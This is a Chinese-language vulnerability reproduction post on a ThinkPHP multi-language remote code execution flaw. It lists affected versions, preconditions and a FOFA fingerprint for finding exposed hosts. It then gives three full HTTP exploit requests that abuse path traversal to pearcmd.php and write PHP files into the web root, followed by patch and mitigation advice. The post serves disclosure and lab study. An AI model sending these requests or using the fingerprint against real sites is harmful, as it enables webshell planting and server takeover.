Thinkphp 多语言 RCE复现
漏洞描述：
若Thinkphp 程序开启了多语言功能，则可通过 get、header、cookie 等位置传入参数，实现目录穿越+文件包含，通过 pearcmd 文件包含这个 trick 即可实现 RCE。
影响范围
Thinkphp，v6.0.1~v6.0.13，v5.0.x，v5.1.x
利用条件：
1.多语言开启
2.安装了pear扩展
3.知道pearcmd.php路径
-
register_argc_argv=on
fofa指纹：
header="think_lang"
漏洞复现：
开启靶机环境
docker run -it -d -p 80:80 vulfocus/thinkphp:6.0.12
Get:
GET /public/?index.php+config-create+&lang=../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+/var/www/html/4.php HTTP/1.1Host: xxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeCookie: think_lang=zh-cnUpgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cache
(6.0未成功，5.0成功)
Header:
GET /public/index.php?+config-create+/<?=phpinfo()?>+/var/www/html/1.php HTTP/1.1Host: xxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closethink-lang:../../../../../../../../usr/local/lib/php/pearcmdCookie: think_lang=zh-cnUpgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cache
Cookie:
GET /public/index.php?+config-create+/<?=phpinfo()?>+/var/www/html/3.php HTTP/1.1Host: xxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeCookie:think_lang=../../../../../../../../usr/local/lib/php/pearcmdUpgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cache
源码分析：
http://tttang.com/archive/1865/
修复建议：
1、若无必要，可关闭多语言功能，可参考文档
https://www.kancloud.cn/manual/thinkphp6_0/1037637
https://static.kancloud.cn/manual/thinkphp5/118132
2、官方已发布6.0.14、5.1.42，建议升级至安全版本。
https://github.com/top-think/framework/commit/c4acb8b4001b98a0078eda25840d33e295a7f099
原文始发于微信公众号（网络安全透视镜）：Thinkphp 多语言远程命令执行漏洞复现
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